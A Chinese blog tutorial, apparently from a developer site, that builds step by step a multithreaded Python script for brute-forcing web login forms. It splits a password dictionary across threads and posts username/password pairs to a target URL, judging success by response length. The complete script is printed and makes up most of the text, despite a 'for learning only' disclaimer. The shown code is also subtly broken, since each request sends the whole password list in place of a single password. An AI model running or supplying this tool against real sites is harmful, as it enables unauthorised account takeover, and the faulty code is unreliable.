目录

前言

一、在线密码破解介绍

1.什么是在线密码破解

2.web安全中用来破解的工具burpsuite

3.导入需要用到的python模块

二、命令行模块介绍

1.optparse模块介绍

2.web密码破解命令行读取模板编写

三、payload确定

1.思路

2.密码字典列表确定

四、多线程访问

1、python中的多线程

2、工具中使用多线程列表

五、功能模块编写

1.思路

2.python第三方库requests

六、功能测试 Bug修改

1、问题发现

2、Bug修改

完整代码如下:


前言

初学者者工具编写!

仅用学习使用,不做其他任何用途!

效果展示:

一、在线密码破解介绍

1.什么是在线密码破解

1)针对在线服务的认证凭证进行合法用户枚举

2)离线破解(拿到密文进行解密(如:md5))

2.web安全中用来破解的工具burpsuite

1)基于表单验证的破解

2)基于HTTP认证的破解

3.导入需要用到的python模块

import optparse,threading,math,requests

二、命令行模块介绍

1.optparse模块介绍

1)导入optparse

2)初始化optparse.OptionParse

3)设置初始对象的usage属性

4)添加参数:parse.add_option('-u','--user_file',dest='username_file',help='read username from file',metavar='FILE',action='store',type='string')

5)存储提交的命令行参数:(options,args)=parse.parse_args()

6)测试输出:print(options.username_file)

parser = optparse.OptionParser()
parser.usage = '在线密码破解.py -s url -u user_file -p pass_file -t num'
parser.add_option("-s","--site",help="website to test",action="store",type="string",metavar="url",dest="site")
parser.add_option("-u","--userfile",help="read username from file",action="store",type="string",metavar="FILE",dest="userfile")
parser.add_option("-p","--passfile",help="read pass from file",action="store",type="string",metavar="FILE",dest="passfile")
parser.add_option("-t","--threads",help="number of threads",action="store",type="string",metavar="THREADS",dest="threads")
(options,args) = parser.parse_args()
# print(options.site)
# print(options.usernamefile)
# print(options.passfile)
# print(options.threadsfile)# payload确定
ths = options.threads
# print(ths)
# print(type(ths))
pass_dic = options.passfile
# print(pass_dic)
user_dic = options.userfile
# print(user_dic)
site = options.site
# print(site)

2.web密码破解命令行读取模板编写

1)需读取用户名

2)需读取用户密码

3)需读取url

4)需读取线程数

三、payload确定

1.思路

用户名循环读取,密码根据线程数均分,用户名与密码组合,使用多线程扫描探测;

# 新建一个密码字典列表  [[],[],[],[]]
pass_list = []
result_num = 0
temp_thread_list = []
# 根据线程数,确定每一个项当中内容的行数
# 1)读取所有密码字典中的内容到要给的列表中,确定字典的行数
with open(pass_dic,'r') as f:temp_list = f.readlines()num = len(temp_list)
# print(temp_list)
# print(num)        # 20

2.密码字典列表确定

根据线程数确定;

# 使用得到的临时列表的项数 除以 线程数  来确定每一个线程中的项数(向上取整)result = math.ceil(int(num)/int(ths))# print(result)   # 2result_num=resultflag = 0for line in temp_list:flag += 1temp_thread_list.append(line.strip())if flag == result:flag = 0pass_list.append(temp_thread_list)temp_thread_list = []# print(pass_list)
# print(type(pass_list))

四、多线程访问

1、python中的多线程

import threading

threading.Thread(target=(函数名),args=参数)

开启线程 start()

2、工具中使用多线程列表

# payload  ->  pass_list 结合  用户名字典进行确定
# 使用线程列表
ths_list = []
with open(user_dic,'r') as f:user_list = f.readlines()for user in user_list:for pass_line in pass_list:payload = {'user':user.strip(),'pass':pass_line}# print(payload)ths_list.append(threading.Thread(target=scan,args=(payload,)))
for th in ths_list:th.start()

五、功能模块编写

1.思路

根据返回的内容不同

根据返回的长度

2.python第三方库requests

import requests

r = requests.post(url,data)

len(r.text)

def scan(payload):# print(payload)user = payload['user']pass_list = payload['pass']useragent = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36'}for password in pass_list:r = requests.post(url=site,data={'username':user,'password':pass_list},headers=useragent)print('URL:'+site+':  ''username:'+user+'  '+'password:'+password+'  '+'lenght:'+str(len(r.text))+'  '+str(r.status_code))# print(r.request.headers)

六、功能测试 Bug修改

1、问题发现

很多时候直接破解其实是没有去尝试登陆的,返回长度不管正确与否都是一样的,可查看源代码或者审查元素,提交的参数中除了admin和password,还有submit。

2、Bug修改

所以在date后还要将submit加进去

完整代码如下:

# coding=utf8
# @time:2022/5/9 15:04
# Author 浩宇# 完整代码展示
import optparse,threading,math,requestsparser = optparse.OptionParser()
parser.usage = '在线密码破解.py -s url -u user_file -p pass_file -t num'
parser.add_option("-s","--site",help="website to test",action="store",type="string",metavar="url",dest="site")
parser.add_option("-u","--userfile",help="read username from file",action="store",type="string",metavar="FILE",dest="userfile")
parser.add_option("-p","--passfile",help="read pass from file",action="store",type="string",metavar="FILE",dest="passfile")
parser.add_option("-t","--threads",help="number of threads",action="store",type="string",metavar="THREADS",dest="threads")
(options,args) = parser.parse_args()
# print(options.site)
# print(options.usernamefile)
# print(options.passfile)
# print(options.threadsfile)# payload确定
ths = options.threads
# print(ths)
# print(type(ths))
pass_dic = options.passfile
# print(pass_dic)
user_dic = options.userfile
# print(user_dic)
site = options.site
# print(site)# 新建一个密码字典列表  [[],[],[],[]]
pass_list = []
result_num = 0
temp_thread_list = []
# 根据线程数,确定每一个项当中内容的行数
# 1)读取所有密码字典中的内容到要给的列表中,确定字典的行数
with open(pass_dic,'r') as f:temp_list = f.readlines()num = len(temp_list)
# print(temp_list)
# print(num)        # 20# 2)使用得到的临时列表的项数 除以 线程数  来确定每一个线程中的项数(向上取整)result = math.ceil(int(num)/int(ths))# print(result)   # 2result_num=resultflag = 0for line in temp_list:flag += 1temp_thread_list.append(line.strip())if flag == result:flag = 0pass_list.append(temp_thread_list)temp_thread_list = []# print(pass_list)
# print(type(pass_list))def scan(payload):# print(payload)user = payload['user']pass_list = payload['pass']useragent = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36'}for password in pass_list:r = requests.post(url=site,data={'username':user,'password':pass_list},headers=useragent)print('URL:'+site+':  ''username:'+user+'  '+'password:'+password+'  '+'lenght:'+str(len(r.text))+'  '+str(r.status_code))# print(r.request.headers)# 3)payload  ->  pass_list 结合  用户名字典进行确定
# 使用线程列表
ths_list = []
with open(user_dic,'r') as f:user_list = f.readlines()for user in user_list:for pass_line in pass_list:payload = {'user':user.strip(),'pass':pass_line}# print(payload)ths_list.append(threading.Thread(target=scan,args=(payload,)))
for th in ths_list:th.start()

更多安全分享,请关注【安全info】微信公众号!

python编程第三站-在线密码破解工具相关推荐

  1. 字典生成----在线密码破解工具hydra和medusa的使用

    大家好,我是SuieKa. 本次主要稍微详细分析一下字典的生成和在线密码破解工具hydra和medusa及使用案例,希望对大家学习上有帮助! 目录表 一.常见字典生成工具及使用方法 1.字典生成工具c ...

  2. 十款最流行的密码破解工具

    密码破解工具是普通计算机用户恢复遗忘密码.黑客窃取信息.渗透测试工程师测试应用安全常用的工具.密码破解工具通常都是通过穷举法,有些还配合使用密码字典来暴力破解密码,但这种方法的效率与密码的强度有很大关 ...

  3. 十大最受欢迎的密码破解工具

    1. Brutus Brutus是一个最流行的远程在线密码破解工具.它号称是最快和最灵活的密码破解工具.此工具是免费的,只可用于 Windows 系统.早在 2000 年 10 月发布了它. 它 支持 ...

  4. 【安全牛学习笔记】字典、在线密码破解-hydra

    字典 按个人信息生成其专属的密码字典 CUPP: Common User Password Profiler - git clone https://github.com/Mebus/cupp.git ...

  5. 免费的在线密码破解站点(MD5 SHA WPA ...)

    免费的一些在线密码破解站点,不仅仅局限于MD5,很多都是国外的站,需要使用VPN或者代理访问. MD5 MD5Decrypter(uk) Plain-Text Crackfoo -NNC Hashcr ...

  6. Python下安装Pywifi进行WiFi密码破解

    Python下安装Pywifi进行WiFi密码破解 能成功的在Python下安装Pywifi模块的方法及软件 前段时间在网上看了一些关于Python下安装Pywifi模块的方法,很多都是安装不成功的, ...

  7. Python编程PTA——三个数比较大小的新解法

    Python编程PTA--三个数比较大小 **题目:**本题要求将输入的任意3个整数从小到大输出. 输入格式: 输入在一行中给出3个整数,其间以空格分隔. 输出格式: 在一行中将3个整数从小到大输出, ...

  8. python计算矩形周长_一边学编程,一边学语数外,用python编程学三年级周长计算...

    原标题:一边学编程,一边学语数外,用python编程学三年级周长计算 编程并不神秘 编程只是解决问题的一共方法 python是一门编程语言 python是一种解决问题的编程工具 在小学阶段,学习编程的 ...

  9. kali上的一些密码破解工具

    在线密码破解 字典 kali的一些字典: /usr/share/wordlist /usr/share/wfuzz/wordlist /usr/share/seclists 工具 crunch创建所需 ...

最新文章

  1. 学习前端你必须看过这几本书!
  2. sql随机查询数据语句(NewID(),Rnd,Rand(),random())
  3. 每日一博 - tcpdump小技巧
  4. python如何输入空行_在python中,如何在接受用户输入时跳过空行?
  5. Apollo自动驾驶入门课程第⑦讲 — 规划(上)
  6. oracle11g创建闪回分区多大,Oracle闪回区大小预估
  7. 开发者供不应求,垃圾项目在去年已造成2.1万亿美元损失
  8. YMP框架学习笔记(二)------基于YMP框架搭建WEB应用程序
  9. 软件项目管理案例教程第4版课后习题第二章
  10. oracle存储过程菜鸟教程,SQL 简介
  11. linux bzip指定名称,Linux基础命令---bzip2
  12. 计算机多媒体技术英文,计算机多媒体技术在英语听力测试中的应用
  13. 银行计算机综合知识,银行秋招综合知识测试包含哪些专业课?
  14. 论文格式问题解决,标题前的黑点去除,分页后产生的空格消除。
  15. 【学习笔记】C++ 编程规范——101条规则、准则与最佳实践
  16. dede自动采集自动伪原创完美版插件 元旦优惠活动
  17. Pycharm 注册 Pycharm 破解 Pycharm 注册破解 亲测多法 仅此方有效 有效期至2099年
  18. 给懒懒的Git操作手册
  19. Linux:error while loading shared libraries: /usr/lib/xx.so.xx: file too short
  20. Ubuntu 16.04 系列软件安装安装方法

热门文章

  1. 河南人,想说爱你不容易
  2. 数字源表测试太阳能电池片单通道多通道方案
  3. 正态分布对数据分析很重要!
  4. 编程c语言要数学很好吗,编程与数学的关系:学好编程就能学好数学吗?
  5. 前端常见笔面--CSS
  6. php小程序秒抢高并发,PHP 如何设计一个高并发高可用的秒杀或抢券系统
  7. linux设备模型:pci驱动程序注册过程
  8. 周鸿祎:我认为雷军害怕我
  9. jpcsp源码解读8:cpu状态
  10. Excel如何利用函数将日期拆分为年月日三列显示